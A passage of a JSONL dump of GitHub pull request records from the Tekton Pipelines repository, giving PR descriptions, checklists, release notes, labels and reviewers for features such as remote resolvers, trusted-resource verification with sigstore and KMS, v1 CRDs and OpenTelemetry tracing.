(including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2022-08-29T18:18:39Z", "deletions": 35, "discovered_via": "tep_file_link", "files_changed": 21, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note-none"], "linked_issues": [], "merged_at": "2022-08-30T16:36:26Z", "pr_number": 5391, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["vdemeester"], "title": "Add combined remote resolvers binary"} +{"additions": 2, "body": "# Changes\r\n\r\nPrior to this PR, it is not clear enough how retries works when\r\nthe custom task run is timeout. This PR refines the developer\r\nguide for custom controllers supporting `retries` to clarify it.\r\n\r\n/kind doc\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n``` release-note\r\nNONE\r\n```\r\n\r\n", "created_at": "2022-08-30T14:27:04Z", "deletions": 5, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["size/XS", "do-not-merge/hold", "kind/documentation", "release-note-none"], "linked_issues": [], "merged_at": null, "pr_number": 5393, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["XinruZhang", "Yongxuanzhang"], "title": "TEP-0114: Clarify the Behavior of Custom Task Retries"} +{"additions": 884, "body": "# Changes\r\n\r\nCloses #4710\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\naction required: The separate Resolutions project has been folded into Pipeline. If currently using Resolution, remove the tekton-remote-resolution namespace before upgrading and installing the new \"resolvers.yaml\".\r\n```\r\n", "created_at": "2022-08-30T17:00:42Z", "deletions": 11, "discovered_via": "tep_file_link", "files_changed": 20, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note-action-required"], "linked_issues": [4710], "merged_at": "2022-08-31T15:34:27Z", "pr_number": 5395, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["lbernick", "vdemeester"], "title": "Add resolvers deployment, with release and e2e integration"} +{"additions": 114, "body": "\r\n\r\n# Changes\r\n\r\nCloses https://github.com/tektoncd/pipeline/issues/5270.\r\n\r\nPrior to this change, if users want to provide default value for an\r\nobject param, they have to provide values for ALL keys, but can't provide\r\nvalues for a subset of required keys that are declared in `properties`\r\nsection. Same restriction applies to the `value` provided from run level.\r\n\r\nIn this PR, we relax the validation for object param keys to allow users\r\nto provide values for an object param in a more flexible way i.e. a subset\r\nof keys are provided in the spec's default, and the rest of the keys are\r\nprovided in run level's value.\r\n\r\n\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nMore flexible ways to provide values for object param keys: a subset of keys can be provided from default, and the rest is provided at runtime.\r\n```\r\n", "created_at": "2022-09-02T22:19:19Z", "deletions": 133, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-09-12T16:03:05Z", "pr_number": 5427, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "lbernick", "vdemeester", "ywluogg"], "title": "TEP-0075: More flexible ways to provide values for object param keys"} +{"additions": 11586, "body": "# Changes\r\n\r\nAlternative to https://github.com/tektoncd/triggers/pull/1446.\r\n\r\nThis commit adds a proof of concept for \"concurrency primitives\" in Pipelines that will allow higher-level controllers to implement concurrency controls. It adds a new CRD, \"ConcurrencyControl\". PipelineRuns that should have their concurrency controlled should be created with a label referencing the ConcurrencyControl. The PipelineRun controller will create another label on the PipelineRun specifying its \"concurrency key\". Any PipelineRuns with the same concurrency key belong to the same concurrency group and use the same concurrency strategy.\r\n\r\nThis solution doesn't require PipelineRuns to be created as Pending. The reason for this is that knative does not allow a reconciler to edit the spec of an object being reconciled. In other words, the PipelineRun controller cannot \"start\" Pending PipelineRuns after canceling other PipelineRuns in the same concurrency group. Instead, concurrency controls are just handled before execution starts.\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n``` release-note\r\nNONE\r\n```\r\n", "created_at": "2022-09-15T15:26:16Z", "deletions": 3020, "discovered_via": "tep_file_link", "files_changed": 248, "labels": ["size/XL", "do-not-merge/work-in-progress", "do-not-merge/release-note-label-needed", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 5501, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["abayer", "lbernick", "vdemeester"], "title": "POC: Canceling concurrent PipelineRuns"} +{"additions": 4, "body": "\r\n\r\n# Changes\r\n\r\nThis removes the alpha feature gate that is currently guarding projected workspaces so they become a beta/stable feature.\r\n\r\nCloses https://github.com/tektoncd/pipeline/issues/5524\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nProjected workspaces are promoted to beta/stable API\r\n```\r\n", "created_at": "2022-09-21T13:48:14Z", "deletions": 36, "discovered_via": "tep_file_link", "files_changed": 7, "labels": ["kind/feature", "approved", "lgtm", "size/M", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2022-09-21T18:21:09Z", "pr_number": 5530, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "Remove alpha feature gate from projected workspaces"} +{"additions": 77003, "body": "\r\n\r\n# Changes\r\nThis commit is part of the work of trusted resources, it introduces the\r\ndependency of [sigstore/sigstore](https://github.com/sigstore/sigstore) by adding signing and verifying\r\nfunctions to the code base. Those functions are not invoked in this\r\ncommit but will be used in the following work.\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2022-09-23T19:25:10Z", "deletions": 25664, "discovered_via": "tep_file_link", "files_changed": 844, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note-none"], "linked_issues": [], "merged_at": "2022-09-28T20:15:13Z", "pr_number": 5552, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "github-advanced-security[bot]", "wlynch"], "title": "[TEP-0091] Trusted resources alpha add sigstore packages"} +{"additions": 6014, "body": "# Changes\r\nThis commit releases the v1 pipeline CRDs including task, taskrun, pipeline and\r\npiplinerun by the following:\r\n- Adds the example tests for the release of v1 pipeline CRD.\r\nIt copies the example tests from v1beta1 with exceptions for those deprecated\r\nfields eg. `resources`. Reference can be found at https://github.com/tektoncd/pipeline/blob/14eba83bf31277dc3f8c91fa798b38e30d0a8e6a/dev/docs/migrating-v1beta1-to-v1.md.\r\n- Sets `served` in v1 CRDs to true.\r\n\r\nThe second commit adds the integration test for v1 CRD:\r\n- This covers all the deprecated fields from v1beta1.\r\n- It first creates v1beta1 CRD with v1beta1Client and requests it by v1client,\r\nand then creates v1 CRD with v1Client and requests it by v1beta1client to \r\ncompare if the conversion webhook.\r\n\r\nPart i & ii of #5541 \r\nFixes: #5627 \r\n\r\n/kind misc\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [n/a] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nReleases v1 CRD for task, taskrun, pipeline and pipelinerun. Served v1 CRDs are included in this release for users as a preview, and also for users to start preparing for the migration. v1 is served but CLI, Dashboard, Chains etc support won't be available until the following release. v1 will be the official version starting with the next release when it has been released as the storage version.\r\n```\r\n", "created_at": "2022-09-28T19:21:43Z", "deletions": 4, "discovered_via": "tep_file_link", "files_changed": 90, "labels": ["approved", "lgtm", "size/XXL", "release-note", "kind/misc"], "linked_issues": [5627], "merged_at": "2022-12-15T17:53:45Z", "pr_number": 5579, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "XinruZhang", "abayer", "afrittoli", "chitrangpatel", "chuangw6", "dibyom", "lbernick", "pritidesai", "vdemeester"], "title": "V1 CRD release"} +{"additions": 3057, "body": "\r\n\r\n# Changes\r\n\r\nThis commit is part of [TEP-0091](https://github.com/tektoncd/community/blob/main/teps/0091-trusted-resources.md), before this commit we only have signing and verification functions but not used. This commit adds verification at reconciler after remote resolution and local resolve is done.\r\n\r\nThere are mainly 2 parts in this PR:\r\n\r\n1. New feature flag to enable trusted resources and configmap to configure public keys under `pkg/apis/config` \r\n2. Task and Pipeline verification under `pkg/reconciler`\r\n\r\nNotes that KMS key is not supported in this commit since the dependency is not fully imported. This commit supports read pem file to public key.\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nTrusted Resource feature enable tekton pipeline to verify the resources resolved from resolver. With trusted resource feature, users can configure public keys in configmap and choose to turn on/off this feature via feature flag `resource-verification-mode`. This commit enables mount public key files as secrets into Pipeline and used for verification. Taskrun/Pipelinerun that fail the verification will be marked as `failed` and be stopped from execution if `resource-verification-mode` is set to `enforce`\r\n```\r\n", "created_at": "2022-09-29T14:42:30Z", "deletions": 284, "discovered_via": "tep_file_link", "files_changed": 41, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [], "merged_at": "2022-11-02T19:43:46Z", "pr_number": 5581, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "bobcatfish", "dibyom", "jagathprakash", "wlynch"], "title": "[TEP-0091] Add Verification at reconciler"} +{"additions": 590, "body": "\r\n\r\n# Changes\r\n\r\nPart of [issues/667].\r\nThis commit adds support to resolve catalog from the [Artifact Hub] and keep current functionality of fetching catalog from the Tekton Hub.\r\n\r\n- Change 1:\r\n\r\nThe commit adds a new field `type` to the hub resolver indicating the type of the Hub to pull the resource from. The value can be set to `tekton` or `artifact`. By default, the resolver fetches resources from `https://artifacthub.io/` when setting `type` to `artifact`. \r\n\r\n- Change 2:\r\n\r\nPrior to this change, the hub resolver only supports pulling resources from the Tekton Hub. This commit updates the default hub type to `artifact` since the [Artifact Hub][Artifact Hub] will be the main entrypoint for Tekton Catalogs in the future.\r\n\r\n- Change 3:\r\n\r\nPrior to this change, the default Tekton Hub URL is: `https://api.hub.tekton.dev`. This commit removes the default value of the Tekton Hub URL and enforces users to configure their own instance of Tekton Hub since the public instance `https://api.hub.tekton.dev` will be deprecated after the migration to Artifact Hub is done.\r\n\r\n/kind feature\r\n\r\n[Artifact Hub]: https://artifacthub.io/\r\n[issues/667]: https://github.com/tektoncd/hub/issues/667\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nThe Hub Resolver will have a new `type` field to indicate the type of Hub from where to pull the resource. The default hub type is updated from the Tekton Hub to the Artifact Hub. Please see more details in TEP-0115\r\n```", "created_at": "2022-10-19T15:41:15Z", "deletions": 157, "discovered_via": "tep_file_link", "files_changed": 10, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2022-10-28T17:23:42Z", "pr_number": 5666, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["QuanZhang-William", "abayer", "chuangw6", "jerop", "wlynch"], "title": "[TEP-0115] Support Artifact Hub in Hub Resolver"} +{"additions": 501, "body": "\r\n\r\n# Changes\r\n\r\n1. Envs i.e. environment variables specified in podTemplate for PipelineRun and TaskRun, will take precdence over envs defined in step and StepTemplate.\r\n2. config-defaults' default-pod-template can contain global default envs applicable for all PipelineRun and taskRun. These are overriden by user defined podTemplate.\r\n3. Support forbidden envs.\r\n a. A new config-default configuration: forbidden-envs\r\n b. Envs added in the forbidden-envs are filtered while updating from a podTemplate.\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nPodTemplate can be used to update environment variables globally as well as PipelineRun and TaskRun level.\r\nAdded new configuration option default-forbidden-env to disallow specified environment variables from being updated via podTemplate.\r\n```\r\n\r\n/kind tep", "created_at": "2022-10-31T15:01:03Z", "deletions": 8, "discovered_via": "tep_file_link", "files_changed": 23, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-12-21T15:15:47Z", "pr_number": 5699, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "ScrapCodes", "XinruZhang", "afrittoli", "chitrangpatel", "pritidesai", "vdemeester"], "title": "TEP-0101 PodTemplate should support environment variables."} +{"additions": 4675, "body": "\r\n\r\n# Changes\r\n\r\nThis commit adds VerificationPolicy as a new type under `pkg/apis/pipeline/v1alpha1`, via `VerificationPolicy` users can config public keys for resources verification via CRD. The `Pattern` field in `VerificationPolicy` can be configured to filter out the resources to get corresponding keys.\r\n\r\nThis commits mainly consists of \r\n1) New types at `pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go`; \r\n2) Verification via VerificationPolicy at `pkg/trustedresources/verify.go`\r\n\r\nSigned-off-by: Yongxuanzhang [yongxuanzhang@google.com](mailto:yongxuanzhang@google.com)\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nVerificationPolicy is added as a v1alpha1 type to enable users to config public keys for trusted resources.\r\nPlease refer to https://github.com/tektoncd/pipeline/blob/main/docs/trusted-resources.md for more details\r\n```\r\n\r\n", "created_at": "2022-11-03T14:29:02Z", "deletions": 972, "discovered_via": "tep_file_link", "files_changed": 53, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [], "merged_at": "2022-12-19T19:05:47Z", "pr_number": 5714, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "bendory", "bobcatfish", "chitrangpatel", "jagathprakash", "wlynch"], "title": "[TEP-0091] Add VerificationPolicy types to configure public keys"} +{"additions": 38825, "body": "Adds opentelemetry instrumentation code to pipelinerun and taskrun reconcilers. Also made required changes in the main.go to include jaeger as tracing backend\r\n\r\n\r\n\r\n# Changes\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\nNote to reviewers: There are pipeline failures (looks like they are not related to the changes). Once the review is complete and ready to approve, I will address the pipeline issues, rebase with main and squash all commits into one.\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdded support for tracing using Jaeger and OpenTelemetry. It can be enabled by adding the following environment variables to controller manifest\r\n* `OTEL_EXPORTER_JAEGER_ENDPOINT` is the HTTP endpoint for sending spans directly to a collector.\r\n* `OTEL_EXPORTER_JAEGER_USER` is the username to be sent as authentication to the collector endpoint. (optional)\r\n* `OTEL_EXPORTER_JAEGER_PASSWORD` is the password to be sent as authentication to the collector endpoint. (optional)\r\n```\r\n", "created_at": "2022-11-11T20:38:58Z", "deletions": 10, "discovered_via": "tep_file_link", "files_changed": 206, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2023-01-23T13:46:04Z", "pr_number": 5746, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "github-advanced-security[bot]", "kmjayadeep", "vdemeester"], "title": "[TEP-0124] implement opentelemetry Jaeger tracing"} +{"additions": 156952, "body": "\r\n\r\n# Changes\r\n\r\nThis commit adds kms libraries into trusted resources verifier package, so that we could use kms for verification. Before this commit we only supports loading keys from files. \r\n\r\nThis is similar to what we have done in [Chains](https://github.com/tektoncd/chains/blob/7897fa4a8be4d54c8aef625416fee4a106f07af2/pkg/chains/signing/kms/kms.go#L25-L28)\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2022-12-19T19:18:53Z", "deletions": 31, "discovered_via": "tep_file_link", "files_changed": 601, "labels": ["kind/feature", "approved", "lgtm", "size/M", "release-note-none"], "linked_issues": [], "merged_at": "2023-01-05T20:47:55Z", "pr_number": 5890, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "jerop", "lbernick", "vdemeester", "wlynch"], "title": "[TEP-0091] add KMS libraries"} +{"additions": 128, "body": "\r\n\r\n\r\n\r\n# Changes\r\n\r\nThis commit add KMS into v1alpha1.VerificationPolicy and validation. KMS field is used to configure the KMS path and can be used to resolve keys stored in key management system by cloud providers. Before this commit we only support loading keys from file or raw data.\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdd KMS filed into v1alpha1.VerificationPolicy\r\n```\r\n", "created_at": "2022-12-19T19:45:25Z", "deletions": 6, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2023-01-05T22:15:55Z", "pr_number": 5891, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["Yongxuanzhang", "bendory", "chuangw6", "dibyom", "jagathprakash", "lbernick", "wlynch"], "title": "[TEP-0091] add KMS field"} +{"additions": 237, "body": "\r\n\r\n\r\n\r\n# Changes\r\nThis commit enables kms in trusted resources, before this commit kms field is added to VerificationPolicy and provider libraries are pulled into vendor. This commit adds the function code to use kms when fetching verifiers from VerificationPolicy.\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation 